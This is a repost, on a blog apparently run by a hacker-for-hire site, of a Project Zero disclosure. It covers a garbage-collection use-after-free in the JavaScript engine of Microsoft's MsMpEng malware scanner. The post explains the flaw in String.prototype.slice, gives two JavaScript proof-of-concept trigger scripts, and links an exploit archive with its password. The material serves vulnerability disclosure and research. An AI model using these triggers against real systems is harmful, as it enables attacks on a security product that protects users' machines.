Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86377397

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1258

MsMpEng's JS engine uses garbage collection to manage the lifetime of Javascript objects.

During mark and sweep the GC roots the vectors representing the JS stack as well as a few other hardcoded objects, traversing reachable objects from those roots then frees any unreachable objects. The native stack is *not* marked therefore any native code which is using JsObject pointers needs to take care to ensure that either the objects will remain reachable or that a GC cannot occur.

MsMpEng's JS engine supports script defining toString and valueOf methods on objects which will be invoked when the native code attempts to convert JsObjects to strings or integers. These script callbacks are implemented by calling JsTree::run. the ::run method takes two arguments, the JS state and a flag which determines whether GC is blocked. In order to prevent the re-entrant scripts causing a GC the wrappers call JsTree::run passing 1 for the gc disable flag which means that JSTree will not run a GC while the callback executes.

The problem is that this flag isn't a global GC disable flag, it only applies to this particular JsTree frame. If we can cause another JsTree to be run inside the callback which passes 0 for the gc disable flag then the script running under *that* JsTree::run will be able to cause a gc, which is global.

The implementation of eval is one place where we can cause JsTree::run to be called passing 0, meaning that we can cause a GC inside a callback where GC should be disable by just eval'ing a string which will cause a GC when executed.

The final piece is to find a construct where native code has a JsObject pointer on the stack that is not being kept alive by other references reachable from GC roots. JsDelegateObject_StringProto::slice which implements the String.prototype.slice method has such a construct, in high-level pseudo-code the logic of the functions looks like this:

  JsObject* this = getCurrentThisPointer(); // kept alive because it’s on JS stack
 
  JsString* this_str = JsDelegateObject_StringProto::toStringThrows(this);
  // nothing (apart from maybe JSBench?) is rooting this_str as long as we
  // don't keep any references to it in script
  // the native code needs to prevent GC to keep it alive while it needs it
 
  int len = JsString::numBytes(this_str); // okay because this can't cause GC

  int start = JsDelegateObject_StringProto::toIntegerThrows( args[0] );

  // this calls valueOf() on the first argument
  // toIntegerThrows will call through to JsTree::run if we override valueOf of the first argument to slice()

  // It will pass blockGC=1 to prevent the callback doing GC (which could free this_str)
  // however if in the valueof callback we eval code which will cause a GC we can get a GC to happen
  // which will cause the this_str JsString to be free'd (as it's not explicitly rooted,
  // the native stack isn't scanned and no script objects reference it.)
 
  // the code continues and does something like this:
  JsString::initBySub(jsState, this_str ...
 
  // that ends up calling a virtual method on the free’d this_str


PoC script:

function gc() {eval("var a = Object(); var b = Object(); var s='a'; for(var i=0; i < 0x800; i++){s=s.replace('a', 'aaaaaaaa')};");}; var x = Object(); x.toString = function(){String.fromCharCode(0x43)+String.fromCharCode(0x41);}; var l=Object(); l.valueOf=function(){gc(); return 1;}; String.prototype.slice.call(x, l);

PoC zip file also attached which will trigger on Windows when decrypted with password "nscriptgc"

################################################################################

Here's a clearer PoC not all on one line for the mpengine shell :)

//*************************
function gc() {
  eval("var s='a';for(var i=0; i < 0x800; i++){s=s.replace('a', 'aaaaaaaa');}");
};

var x = Object();
// the first PoC didn't return a string here so toString ended up being the string 'undefined'
// if we do want to return a string object it has to have more than three characters so it doesn't use the 
// inline string optimization
x.toString = function(){return String.fromCharCode(0x41, 0x41, 0x41, 0x41);};

var l = Object();
l.valueOf = function() {gc(); return 1;};

String.prototype.slice.call(x, l);
//************************

################################################################################


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42088.zip